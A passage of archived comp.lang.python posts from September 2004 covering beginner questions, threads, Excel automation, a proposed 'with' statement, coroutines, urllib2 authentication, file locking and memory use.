I'm trying to write a small program that lets you put in a number as an 
integer and then it tells you the textuel representation of the number.

Like if your input is 42, it will say four two.

I found out that I have to make a dictionary like this: List = { 1:"one", 
2:"two" and so on )

and I have to use the raw_input method to get the number:

indput : raw_input(" Tell me the number you want to transform to textuel 
representaion")

The I have to transform the input to a string
indput = str(indput)

so that I can count how many decimals the number has, like 23 has 2 decimals 
and 3000 has 4 decimals.

After I have gotten the lenght of the string, I will write a loop, that goes 
through the dictionary as many times as the lengt of the string, and the 
gives me the corresponding numbers, the numner 21 would go 2 times through 
the loop and give me the output two one

Will one of you be so kind and tell me how I count the lengt of the indput 
number i was thinking on something like input.count[:] but that dosnt 
work...

 and how I make the loop.

 Im trying to understand dictionaries but have gotten a bit stuck...

Thanks for all replies....





From hercules.rockefeller at springfield.??.us  Tue Sep 28 11:18:09 2004
From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein)
Date: Tue, 28 Sep 2004 11:18:09 -0400
Subject: using threads with for-loops
In-Reply-To: <3e96ebd7.0409280711.42ef328b@posting.google.com>
References: <3e96ebd7.0409280711.42ef328b@posting.google.com>
Message-ID: <Rgf6d.13$Za.5@llslave.llan.ll.mit.edu>

Klaus Neuner wrote:
> Hello,
> 
> I wrote a program that does essentially the following:
> 
> for rule in rules:
> 	for line in line_list:
> 		line = my_apply(rule, line)
> 
> line_list contains the lines of some input text.
> 
> To "apply a rule" always means to
> 
>   1. do some regex matches on line
>   2. substitute something in line
> 
> 
> My question is: Given this "architecture", does it make sense
> to use threads? And if so, how?
> 
> Klaus

It depends on how many items are in rules and how long my_apply() takes.


From deetsNOSPAM at web.de  Sun Sep 12 10:24:31 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Sun, 12 Sep 2004 16:24:31 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
	<chvb1c$tj6$00$1@news.t-online.com>
	<pan.2004.09.11.18.06.40.754033@public.srce.hr>
	<chvf4r$hbj$06$1@news.t-online.com>
	<pan.2004.09.12.09.53.31.172850@public.srce.hr>
Message-ID: <ci1m6v$k4h$02$1@news.t-online.com>

> What should I actually post?

The email text. Whatever the reason for the unexpected behaviour is, its in
there. 

> Thank you very much Diez, I appreciate your help.

Your welcome.

-- 
Regards,

Diez B. Roggisch


From wjjeonk at hotmail.com  Wed Sep 22 15:24:22 2004
From: wjjeonk at hotmail.com (Jay)
Date: Wed, 22 Sep 2004 15:24:22 -0400
Subject: detecting variable types
Message-ID: <cisjhb$6kr$1@news-int.gatech.edu>

I'm sure this is a really dumb question, but how do you detect a variable
type in Python?

For example, I want to know if the variable "a" is a list of strings or a
single string. How do I do this?




From aaron.smgoh at gmail.com  Sat Sep 18 08:17:49 2004
From: aaron.smgoh at gmail.com (Aaron)
Date: 18 Sep 2004 05:17:49 -0700
Subject: How to run Excel Solver function from Python
Message-ID: <9878481a.0409180417.366c3754@posting.google.com>

I am trying to write a Python script file which analyses data in an
iterative manner.  During each iteration, I wish to utilise the Solver
function in Excel to perform some constrained, non-linear fitting to
the data.  I have a VBA macro which runs the Solver, and am using
self.xlapp = win32com.client.dynamic.Dispatch("Excel.Application")
.
.
.
self.xlapp.run(macro)

I am using the Python script to interface with another software called
ABAQUS and am executing the script through the ABAQUS Python
interpreter (which is Python 2.0).  Howvever, when I run the script I
get the error

'Solver : An unexpected internal error has occurred, or available
memory was exhausted'

Could anyone please provide some explanation to this problem?  The
macro and Solver run fine if I don't call from the Python script. 
Thank you and any help is much appreciated.


From godoy at ieee.org  Fri Sep 24 16:36:53 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Fri, 24 Sep 2004 17:36:53 -0300
Subject: Don't let your babies grow up to be programmers
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
	<cio5gu$2nk$1@sea.gmane.org>
	<mailman.3701.1095836355.5135.python-list@python.org>
	<rp0b22-l8g.ln1@lairds.us>
	<278de0e.0409231337.1a032135@posting.google.com>
	<e838aa6e.0409241223.60c797c7@posting.google.com>
Message-ID: <m3d60b9zfe.fsf@g2ctech.com>

alloydflanagan at comcast.net (A. Lloyd Flanagan) writes:

> I think the real problem is not so much that foreign programmers are
> paid less than US programmers.  Instead I suspect the problem (from
> our point of view) is that their cost of living is so much lower.  If
> I worked for the salary of an Indian programmer I would have no place
> to live, no insurance, and would have a hard time buying food to take
> back to my family living under a bridge.
>
> Meanwhile the Indian programmer is living like a king (more or less).
>
> This issue will impact a lot more professions than programming.  It's
> getting hard to find a function that can't be performed from the other
> side of the world anymore.  What the American economy can do to
> respond to this I have no idea.

Do you really think that the price of the things is really what it is
worth in the US or that it is like that to keep these high salaries? ;-) 

I think that this is a cyclic thing: things are expensive because they
cost more due to salaries and salaries are higher because things cost
more. 

Here we had experience with several *thousands* of percents of inflation
per year (something along the lines of 800% per month, prices went up
every day).  Now things are more stable.  I don't know for how long...
I hope forever :-)

> On the other hand maybe we should all just move to India.  We could
> teach them how to play football (the real kind, not that soccer
> stuff).

You mean the one that has the 'foot' on the name but is played with the
hands? ;-)  It seems to me like there's a contradiction somewhere :-)


Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From bokr at oz.net  Fri Sep 17 05:21:10 2004
From: bokr at oz.net (Bengt Richter)
Date: 17 Sep 2004 09:21:10 GMT
Subject: too many self
References: <opsedyrils6yt6e7@news.cisco.com>
	<ciabc0$seb$00$2@news.t-online.com>
	<opsed4rmyp6yt6e7@news.cisco.com>
	<4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca>
	<10kjrvs2hmb19a5@corp.supernews.com>
	<1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com>
	<10kkc7hq9fuvt20@corp.supernews.com>
	<1gk90fg.qderxd1pfbq2dN%aleaxit@yahoo.com>
Message-ID: <cieaa6$rhu$0$216.39.172.122@theriver.com>

On Fri, 17 Sep 2004 08:54:11 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>aurora <aurora00 at gmail.com> wrote:
>   ...
>> I'm not making any serious criticism on the language or how it should do
>> name binding. I'm ranting about having to attach a prefix to names often
>> make simple things look complicated. An annoyance when it has to be done
>> very often. You got the point?
>
>No.  If you had to "attach a prefix", it might perhaps be a problem.
>But, in Python, you don't have to do any such thing.  You use bare names
>for locals, globals, and built-ins, and compound names for attributes of
>objects.  How can it "make simple things look complicated" to use a
>compound name for an object attribute?  It indicates exactly what's
>going on: you're accessing or rebinding an attribute -- no more, no
>less.  Just like, e.g., x[i] is how you refer to an item of x, so is
>x.foo how you refer to an attribute of x.
>
>If what you mean to say (as opposed to what you actually wrote) is to
>support some kind of 'with' or 'using' statement, such as:
>
>with glek[idx]:
>    .total += .partial
>    .partial = current_time
>    .laps += 1
>
>so that several accesses to, and rebindings of, attributes of the same
>object, can be compactly and conveniently indicated, that, of course, is
>quite a different issue, which has often been discussed in the past,
>both here and on python-dev.  Yet there isn't even a PEP for it, yet, I
>believe -- a bad sign: it suggests nobody is keen enough on it to
>summarize the case for and against and nail down the specs.  I guess the
>problem is that if you see this as equivalent to, say:
>
>_ = glek[idx]:
>_.total += _.partial
>_.partial = current_time
>_.laps += 1
>
>it's not all that clear that the with notation is buying you all that
>much -- visually distinguishing that current_time is not an attribute
>name is about as hard in both cases, for example, maybe a bit harder if
>the hypothetical new construct were in use... and without said
>hypothetical new construct you have a better chance to make your code
>clearer by using a visually distinguished name rather than a notation
>which appears to try to HIDE the crucial issue of which name are bare
>ones, and which names are compound!
>
>Richer semantics for 'with'/'using' are of course possible, but harder
>to pin down in detail, and even more controversial.  Still, until
>somebody DOES care enough, for or against, to come up with a PEP, rather
>than rants on this NG, nothing much is going to happen re this idea.
>
It occurs to me that "with obj_expr:" selects a specific name space and
access mechanism (attribute access, which looks through base classes for
decriptors etc), whereas one could expand the concept of what the leading
dot means as an access operation. E.g., the normal default spelled out might be

    with(glek[idx], dotop=with.attr): # with.attr would be a get/set pair for attributes
        .total += .partial
        ...

Or you could limit yourself to an instance dict by alternate meaning
for '.' access, e.g.,

    with(vars(inst), dotop=with.item): # with.item would be get/set for items
        .total += .partial # meaning v=vars(inst); v['total'] += v['partial']; del v
        ...

or you could specify a list of spaces to chase in explicit order, e.g.,
object attribute spaces:

    with(a,b,c):
        x = .xxx # a.xxx if avail, else b.xxx, else c.xxx, else AttributeError

Anyway, you get the general idea. A way to spell out access to any alternative
name space or search path through several. ;-)

Regards,
Bengt Richter


From cmichaelbeck at hotmail.com  Thu Sep 30 12:12:50 2004
From: cmichaelbeck at hotmail.com (mike beck)
Date: 30 Sep 2004 09:12:50 -0700
Subject: Translate tab-delimited to fixed width text
References: <ead93a6.0409210948.7a80e5db@posting.google.com>
	<_5OdnczZG-fE7s3cRVn-sQ@comcast.com>
Message-ID: <ead93a6.0409300812.4104939c@posting.google.com>

This is very cool and useful. Thanks for the help!

> I tend to do this with classes.  Then I can take
> advantage of using the __str__ method to build the
> output string.


From rpm1deleteme at direcway.com  Wed Sep 22 08:14:13 2004
From: rpm1deleteme at direcway.com (RPM1)
Date: Wed, 22 Sep 2004 08:14:13 -0400
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<10ksur1ou8hb777@corp.supernews.com>
	<2rafspF17n18jU1@uni-berlin.de>
	<slrncl05jr.3e9.tka@kungens.kemi.fi>
Message-ID: <2rd8hsF19b2sjU1@uni-berlin.de>


"Toni Kantola" <tka at poi.sta.kungens.kemi.fi.invalid> wrote ...
> In article <2rafspF17n18jU1 at uni-berlin.de>, RPM1 wrote:

> > I do notice though that when I try to convince a co-worker to try
Python,
> > the thing that seems to be the biggest turn off is the lack of an IDE
with a
> > GUI designer included standard.  I guess my point is that the lack of a
> > standard GUI designer is not going to bother people who know Python, but
it
> > will prevent some, (perhaps many), outsiders from ever knowing Python
> > because they can't imagine programming without the IDE/GUI designer.  I
know
> > there are GUI designers available, but by the time you begin to tell
> > somebody that, they're already shaking their head and walking away.
>
> And you haven't tried kdevelop with qtdesigner?
> Or some similar combination of GTK-based IDEs/tools?

Is it available on Windows?  Does one need to download 2 or
3 different packages with different licensing?

If that's the case then it would be a hard sell in a
Windows environment.

Keeping in mind that it doesn't matter to *me* because I
code my GUI's in Tkinter.  It's when I try to convince
co-workers that Python is worth looking into that I come
across these objections.

The product that came closest to what I'm envisioning was
PythonWorks.  It used the included Tkinter libraries and
it was relatively expensive, (which for some strange reason
makes it more trustworthy to Windows people).  It was
basically an all-in-one package.  Unfortunately it's no longer
available, (probably because Pythonistas are more likely
to piece together what they want for free rather than pay
hundreds of dollars to get one package).

Oh well, hopefully IronPython will be a success.
Patrick




From domma at procoders.net  Wed Sep 15 16:30:33 2004
From: domma at procoders.net (Achim Domma (Procoders))
Date: Wed, 15 Sep 2004 22:30:33 +0200
Subject: .py as executable extension on windows
Message-ID: <cia8p4$i1j$02$1@news.t-online.com>

Hi,

is there a way to tell windows, that *.py files are executable, like 
.bat, .js, ...? If I have someTool.py somewhere in my path I would like 
to type only 'someTool param1 param2'. Is that possible?

regards,
Achim


From porky_pig_jr at my-deja.com  Thu Sep  2 18:45:00 2004
From: porky_pig_jr at my-deja.com (Porky Pig Jr)
Date: 2 Sep 2004 15:45:00 -0700
Subject: I think a problem occured when i used long()
References: <8f17f4bc.0409011101.5ace996@posting.google.com>
	<56cfb0e3.0409011724.3e4c2111@posting.google.com>
	<7xisax8lbm.fsf@ruckus.brouhaha.com>
Message-ID: <56cfb0e3.0409021445.204b2e8b@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xisax8lbm.fsf at ruckus.brouhaha.com>...
> 
> The x86 supports 80 bit extended floats and I hope Python has a way to
> use them (maybe with a build option). 
> 

Very interesting. Probably special C directive (unless something like
'extended float' is some kind of C (unofficial) standard. I'll check
x86 architecture reference.

Incidently, if I recall, the arguments against 'very high precision'
was coming from scientists (e.g. those dealing with quantum mechanics
issues) rather than from programmers. The main argument was that the
measuring tools' precision is soo well below 53bit precision available
as 'C double' that using anything higher than that will mistakenly
create the impression of 'very high precision of the experiment' - but
this is just it - *mistakenly*.
 

> I'd had the impression that some of the PowerPC processors support 128
> bit floats, but I'm not sure of that.  And it may be limited to IBM
> workstation processors, not Macs.


From graham.fawcett at gmail.com  Thu Sep 30 20:41:14 2004
From: graham.fawcett at gmail.com (Graham  Fawcett)
Date: 30 Sep 2004 17:41:14 -0700
Subject: Reading a text file backwards
In-Reply-To: <cjhqf2$9l1$1@news-int.gatech.edu>
References: <cjhqf2$9l1$1@news-int.gatech.edu>
Message-ID: <1096591274.689794.313540@k17g2000odb.googlegroups.com>

It's just shifting the burden perhaps, but if you're on a Unix system
you should be able to use tac(1) to reverse your file a bit faster:

import os
for line in os.popen('tac myfile.txt'):
#do something with the line



From aleaxit at yahoo.com  Fri Sep  3 04:16:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 3 Sep 2004 10:16:30 +0200
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<sweNBls/KXoF089yn@the-wire.com>
	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>
	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>
	<u3c21wnbq.fsf@fitlinxx.com>
	<mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com>
	<ch5tki$csm$0$216.39.172.122@theriver.com>
	<XCxZc.993$4et.710@news04.bloor.is.net.cable.rogers.com>
	<mailman.2776.1094145516.5135.python-list@python.org>
	<oAMZc.129134$pTn.105030@news01.bloor.is.net.cable.rogers.com>
Message-ID: <1gjj7le.1t3oskg4omz04N%aleaxit@yahoo.com>

Dan Perl <dperl at rogers.com> wrote:

> I really like this one.  I think this 'defaultvalue' class even deserves to
> be added as a builtin.  It can even be changed to initialize non-empty
> sequences.  And I haven't tried that yet, but it should be able to
> initialize an attribute with any kind of object that can be constructed with
> no arguments.  Too bad it works only for instance attributes in a class.

As I posted on the other subthread, you can perfectly well use arguments
in the call, too -- just add *args and **kwds to the descriptor's
__init__ and use them when you later call the factory.  This is an
important patter in Python: whenever you design a callable X which
accepts a callable Y as an argument, consider adding *args and **kwds to
X's signature, stashing them away together with Y, and passing them back
into Y when the time comes to call it.  This can save users of X writing
lambdas or def functions which have no reason to exist except fixing
such parameters.


> 
> I will be a good Pythoneer/Pythonista and I will invoke parent __init__'s
> whenever using a library.  My concern was not as a library user, but as a
> library developer.  In which case I don't like the idea of relying on users
> to be good Python coders.

If they don't follow good, normal coding practices there is really
little you can do to save them from themselves.  Surely nothing worth
distorting all OO design to ensure every class can be meaningfully
initialized without parameters, as I explained in another part of this
thread.


Alex


From nospam at nowhere.hu  Sat Sep 18 21:46:51 2004
From: nospam at nowhere.hu (Miklós)
Date: Sun, 19 Sep 2004 03:46:51 +0200
Subject: How to go about developing in zope
References: <4c900ea0.0409160754.2158e732@posting.google.com>
	<414a9787@pfaff2.ethz.ch>
	<4c900ea0.0409172108.5ed8b24d@posting.google.com>
Message-ID: <cihe6u$f66$1@namru.matavnet.hu>

"john" <mailtome200420032002 at yahoo.com> wrote in message
news:4c900ea0.0409172108.5ed8b24d at posting.google.com...

> develop Zclasses    for objects not already available
> which in this application can be timesheet etc.... Am
> I right?? Also how zope helps me to implement different kind of access
> level for users(admin,apprver,employee)or I have to resort to plain
> old relational database for it too??

I think Zope is pretty nice to develop this kind of application without
using an RDBMS, a BTreeFolder can easily store a *lot* of objects, etc.
Support for access levels are just great in Zope, fine grained,
hierarchical, can be mapped out to external resources, etc.
Sorry, not to really flame you but your questions are RTFM.  Read the Zope
book on zope.org
Besides, like Josef pointed out, this is not the right place to ask about
Zope, this is c.l.p.

Best,
  Mikl?s







From steven.bethard at gmail.com  Wed Sep 29 14:50:09 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 29 Sep 2004 18:50:09 +0000 (UTC)
Subject: interactive help on string functions - howto
References: <415aede9$0$24598$ba620e4c@news.skynet.be>
	<cjev0n$22ne$1@dojima-n0.hi-ho.ne.jp>
Message-ID: <loom.20040929T204612-234@post.gmane.org>

George Yoshida <ml <at> dynkin.com> writes:
> 
> I have to say this error message is really annoying. You can't 
> guess what went wrong from it.

Yeah, maybe it would be clearer if it said something like "No Python 
documentation found for module, keyword or topic 'rstrip'"  That would make it 
clearer that you can only use a string if the string is the name of a module, 
keyword or a topic (not a function like the OP's example).

STeve



From fuzzyman at gmail.com  Tue Sep 28 11:42:03 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 28 Sep 2004 08:42:03 -0700
Subject: OWA (Outlook Web Access) with urllib2
References: <e567c03a.0409230141.1160c1d@posting.google.com>
	<878yaya3m1.fsf@pobox.com>
	<e567c03a.0409270338.6cdb096b@posting.google.com>
	<87r7onwft6.fsf@pobox.com>
	<e567c03a.0409272318.5019ef46@posting.google.com>
Message-ID: <6f402501.0409280742.5a57e4ee@posting.google.com>

pascal.parent at free.fr (Pascal) wrote in message news:<e567c03a.0409272318.5019ef46 at posting.google.com>...
> Effectively, if you look at http://python.org/2.4/NEWS.html you can
> see that
> urllib2 now recognizes Basic authentication even if other
> authentication schemes are offered.
> 
> In LiveHTTPheaders/Firefox debug, there is
>  WWW-Authenticate: Negotiate
>  WWW-Authenticate: NTLM
>  WWW-Authenticate: Basic realm="owa.mydomain"
> and the basic authentification is the last proposed.
> 
> So now, how can I force basic authentification with urllib2 (without
> using Python 2.4a)?

You can do manual basic authentication.
See http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/305288 

Regards,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From harry.g.george at boeing.com  Tue Sep  7 12:19:49 2004
From: harry.g.george at boeing.com (Harry George)
Date: Tue, 7 Sep 2004 16:19:49 GMT
Subject: How to actually write a program?
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <xqxd60yhx0a.fsf@cola2.ca.boeing.com>

"Nick Evans" <nick at huff.org.uk> writes:

> Hello there,
> I have been on and off learning to code (with python being the second
> language I have worked on after a bit of BASIC). What I really want to know
> is, if you are going to actually write a program or a project of some sort,
> how do you actually start.
> 
> Picture this, you know what you want the program to do (its features), you
> have a possably rough idea of how the program will work. You have opened an
> empty text file and saved it as 'mykewlprogram.py' and now your sitting in
> front of an empty text file... Now then.... where do I start.
> 
> Any ideas about this problem :-)
> 
> Ta
> Nick
> 
> 

1. This problem comes up even for experienced programmers.  You may have
done project planning, data models, UML diagrams, GUI story boards,
test suites, etc.  Yet one day you need to mentally shift gears and
actually write code.  A more experienced programmer will have done
some prototyping while working out the requirements and specs, but
even then it is a difficult mental transition.

2. For a total novice, get one of the tutorial books (e.g., "Learning
Python" or "The Quick Python Book") and follow through a few of the
examples.  Don't do all the examples. All you need from this phase is
confidence that you can write working code, and general awareness of
the existence of language features.  ("Yep, I know Python has
exceptions.  Don't know how they work exactly, but I know they are
there.")  You can learn the details when you need them.

Traditionally this exercise is done as a "hello, world" program, with
gradually increasing complexity as you tack on more and more language
features.  It can be the most frustrating program to write in any
language.  The problems are mostly "stupid mistakes" -- that is a
normal part of learning new languages.  [It is also a normal part of
advanced programming, which is why test suites and peer reviews are so
powerful.]

3. Once you can do "hello, world" stuff, then tackle your project.
Assume your first effort will be a bad design, so plan to
"write one to throw away".

Even if the app eventually is a GUI app, start with a batch processing
approach.  Do this by doing a reader/writer process around the data
model.  The "model" (from model-view-controller) is a class with a few
attributes.  The controller is a class that has a sequence of those
class objects, a method to read an input file to load that sequence,
and a method to write the sequence back out.

In fancier settings, there might be persistence via a database or
pickle, or the input and output may be XML or csv.  But for starters,
just use a line-per-record file with ":" field separators.

4. Once the "model-controller" is working, it is time to set up a
proper project.  One approach is my mkpythonproj at:
http://www.seanet.com/~hgg9140/comp/index.html

However you do it, you need a project with documentation, testsuites,
and a setup.py for sdist tarballs.  Put it under config control (e.g.,
cvs or svn).  You may want to factor out the "model" and "controller"
to separate modules.  You are also ready to read good code examples,
so scan "Python Cookbook" and other resources.

Once the project is established, you can begin adding more complexity
to the "model".  More classes, more attributes, more interlationships,
edit routines, etc.  Maybe add more import/export mechanisms (pickle,
csv, XML, etc.).

5. If there is to be a gui ("view"), storyboard (sketch on paper) a
few of the dialogs you will need to drive the "controller" methods.
Assume 1 dialog per model class, plus a tree or list widget
representing the controller's sequence or dictionary of data.

You must decide which toolkit to use.  Tkinter, wxPython, PyQt,
PyGTK are the main contenders.  Now, set aside all the work you've
done so far and concentrate on learning the GUI toolkit.  Get a main
window working, with menus, file open/close, exit.  The file
open/close of course call the file reader/writer you already have
working.  

Next build a dialog to edit one of the classes, using the same edit
routines you have already developed.  Hook the dialog to the "edit"
submenu.

Tag the release in your config control system, and make a tarball
(version 0.1).

6. By now you have a much better grasp of the project, the language
and the available libraries.  It is time to rethink the project.

Print out the code ("enscript --line-numbers --landscape" is a good
choice).  Read it.

Do this mental exercise: You have an opportunity to work on a
wonderful new project, if only you can train a replacement for
maintaining the current project.  If you fail to train the
replacement, of if they leave in disgust, you are doomed to maintain
your own code forever.  What can be done to make the handoff painless?
Refactor?  More systematic approach to method naming?  Better
"developer's guide" documentation?  Move hard-coded values to tables,
config files, dictionary lookups?

I find that on some projects, I can fix the code in situ.  Most times,
I just make a whole new project and start fresh.  Either way, the
target is code clean enough to be a pleasure to read and maintain.




-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From zanesdad at bellsouth.net  Wed Sep 29 14:23:22 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Wed, 29 Sep 2004 14:23:22 -0400
Subject: multiple instance on Unix
In-Reply-To: <A128D751272CD411BC9200508BC2194D053C7A07@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D053C7A07@escpl.tcp.com.ar>
Message-ID: <415AFD9A.80503@bellsouth.net>

Batista, Facundo wrote:

>
> #- If so, you could do something like this:
> #-
> #- import time
> #- import os
> #- waiting_for_lock = 1
> #-
> #- while waiting_for_lock:
> #-     try:
> #-         os.mkdir('/tmp/foo')
> #-         waiting_for_lock = 0
> #-     except OSError:
> #-         print "could not create directory"
> #-         time.sleep(1)
> #- #do whatever you need one and only one process to do...
>
> If you don't have the permissions to write in /tmp this will fail.
>
> .       Facundo
>
Actually, it won't.  It'll keep spinning and spinning and will never 
acquire the lock.  You won't have _any_ processes stepping on each other :-)

Of course, you are correct.  This was just a simple piece of example 
code.  I left it to the OP to figure out what directory he can and can't 
write in and adjust accordingly - if he even desired to use this example 
at all.....


Jeremy Jones
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040929/c9794813/attachment.html>

From fakeaddress at nowhere.org  Sat Sep 18 00:51:24 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Sat, 18 Sep 2004 04:51:24 GMT
Subject: Microthreads without Stackless?
In-Reply-To: <8cf9f521.0409171009.142a3fcd@posting.google.com>
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
Message-ID: <g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>

David Mertz, Ph.D. wrote:
 > Yeah... I know Bryan thinks that's a problem.  Mostly because he
 > doesn't actually know what a coroutine is.  But it's true that the
 > scheduled coroutines I present in the mentioned article are always
 > "flat" (hmm... didn't I read somewhere that: "Flat is better than
 > nested"?)

Any chance, at this point, that I could get forgiveness for my
tone, yet continue the discussion?  I misunderstood the nature
of the articles, and the way I put things was inappropriate for
this forum.  I particularly apologize for my first sentence in
this thread; that was no way to talk about a Python enthusiast.


 > But that's actually just what coroutines ARE.  Bryan seems to want
 > some kind of hybrid between actual coroutines and a call stack.  Which
 > isn't necessarily bad.  And is probably something various
 > languages--like Perl 6--do support.

I'm genuinely surprised to find we disagree on what constitutes
coroutine or micro/weightless threads.  I really did read
David's articles, and I thought I was with him on that.  The
article he cited brings up the distinction "Coroutines And Semi-
coroutines", and I think it implies that full co-routines are
not limited to a single level.

Perl 6 does/will support what I think of as coroutines, as do a
number of other languages.  Perl 6 features continuations, which
are even more powerful and open new cans of worms.

 > It might also be something that your greenlets support.  It looks like
 > an interesting project, and I'll have to take a look at it soon, and
 > maybe do an article on them.  But I suspect that even there, Bryan
 > won't get everything he wants with his additional constraint that he
 > not have to "change any code."

I'd be happy to see Greenlets, or the equivalent, become a
standard part of Python.  My constraint isn't as strong as that
I not have to change any code; I want to limit and localize the
effort.


 > [...] I'll
 > point out that my coroutine schedules probably does require a
 > little reorganization of more traditional call-chain code.
[...]
 > That won't work with my generator/coroutines using a scheduler.
 > 'child()' can only yield one level up, not arbitrarily.  But you
 > can "flatten" the exact same flow by making it: [...]

The extent and nature of the reorganization is the center of the
issue.  Modern programs have to handle events from multiple
sources at once.  I'd argue that generators offer, at best, a
modest improvement over the state-machine method.  I vastly
prefer the process/thread/stackful-coroutine approach, and I'm
prepared to give reasons why.


-- 
--Bryan


From john at grulic.org.ar  Wed Sep 15 13:59:45 2004
From: john at grulic.org.ar (John Lenton)
Date: Wed, 15 Sep 2004 14:59:45 -0300
Subject: optimizing memory utilization
In-Reply-To: <pan.2004.09.14.04.38.02.647096@ymous.com>
References: <pan.2004.09.14.04.38.02.647096@ymous.com>
Message-ID: <20040915175945.GA18887@grulic.org.ar>

On Tue, Sep 14, 2004 at 04:39:49AM +0000, Anon wrote:
> Hello all,
> 
> I'm hoping for some guidance here...  I am a c/c++ "expert", but a
> complete python virgin.  I'm trying to create a program that loads in the
> entire FreeDB database (excluding the CDDBID itself) and uses this
> "database" for other subsequent processing.  The problem is, I'm running
> out of memory on a linux RH8 box with 512MB.  The FreeDB database that I'm
> trying to load is presently consisting of two "CSV" files.  The first file
> contains a "list" of albums with artist name and an arbitrary sequential
> album ID an the CDDBID (an ascii-hex representation of a 32-bit value).
> The second file contains a list of all of the tracks on each of the
> albums, crossreferenced via the album ID.  When I load into memory, I
> create a python list where each entry in the list is itself a list
> representing the data for a given album.  The album data list consists of
> a small handful of text items like the album title, author, genre, and
> year, as well as a list which itself contains a list for each of the track
> on the album.
> 
> [[<Alb1ID#>, '<Alb1Artist>', '<Alb1Title>', '<Alb1Genre>','<Alb1Year>',
>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]],
>  [<Alb2ID#>, '<Alb2Artist>', '<Alb2Title>', '<Alb2Genre>','<Alb2Year>',
>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]],
>     ...
>  [<AlbNID#>, '<AlbNArtist>', '<AlbNTitle>', '<AlbNGenre>','<AlbNYear>',
>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]]]]

silly question: have you looked into using tuples instead of lists for
the inner objects? They're supposed to be more memory efficient,
although I have found that that isn't necessarily the case.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
You're a card which will have to be dealt with.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040915/06d1f85d/attachment.sig>

From anonymous at dontemailme.com  Sat Sep 25 17:26:40 2004
From: anonymous at dontemailme.com (OctoberSnake)
Date: Sat, 25 Sep 2004 17:26:40 -0400
Subject: Dynamic Import
Message-ID: <vOCdnQF0l8oFQsjcRVn-sA@comcast.com>

Can I import modules dynamically?  Say for example I wanted the user to
specify what module my script would import, how to do this?

- OctoberSnake





From vze4rx4y at verizon.net  Wed Sep 15 00:12:04 2004
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Wed, 15 Sep 2004 04:12:04 GMT
Subject: Best way to compare the contents of two directories
References: <95c29a5e.0409111640.6980271f@posting.google.com><Zxc1d.412$W73.185@trndny03><95c29a5e.0409131037.430cbce8@posting.google.com>
	<mailman.3266.1095107571.5135.python-list@python.org>
Message-ID: <oiP1d.5641$yJ3.5620@trndny08>

> > I'm using ActivePython 2.2.3.  Is this something that has been added
> > to a later version of Python?
>
> I think sets were added in 2.3, but either way you must still 'from sets
> import Set' before using them.

Right.

Also, sets.py is now Py2.2 compatibility, so you can take the current module off
of CVS and use it directly.


Raymond Hettinger




From fredrik at pythonware.com  Tue Sep  7 11:54:38 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 7 Sep 2004 17:54:38 +0200
Subject: python from Java
References: <mailman.2887.1094353612.5135.python-list@python.org><YIC_c.26633$Z14.8564@news.indigo.ie><mailman.2892.1094385321.5135.python-list@python.org><H2E_c.26646$Z14.8654@news.indigo.ie><1094551272.413d86e88ab2a@www-mail.usyd.edu.au>
	<chkl3s$32a$1@sea.gmane.org>
Message-ID: <chklgc$4cv$1@sea.gmane.org>


>> okay i tried the above approaches but no luck. See the problem is an XML
>> parser which works on a PDA - pythonce. Now elementtree uses pyexpat
>> (which  pythonce doesn't have)
>
